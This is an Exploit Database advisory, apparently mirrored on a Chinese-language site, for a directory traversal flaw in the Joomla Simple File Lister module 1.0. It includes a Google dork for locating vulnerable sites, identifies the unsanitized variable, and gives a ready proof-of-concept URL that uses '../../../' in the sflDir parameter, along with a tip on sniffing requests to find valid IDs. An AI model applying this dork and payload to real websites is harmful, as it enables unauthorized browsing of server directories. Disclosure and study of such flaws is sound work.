Joomla! Component mod_simpleFileLister 1.0 – Directory Traversal

• Exploit Database
• 81 阅读

• 作者： evilsocket
  日期： 2011-08-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17736/

• # Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
  # Google Dork: "Simple File Lister v1.0" "Files in directory"
  # Date: 2011-08-28
  # Author: evilsocket ( evilsocket [at] gmail [dot] com )
  # Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
  # Version: 1.0
  
  ---------------
  Vulnerable code
  ---------------
  
  [ helper.php line 51 ]
  
  function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...
  
  
  ---
  PoC
  ---
  
  http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
  
  To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.
  

  Python

  Copy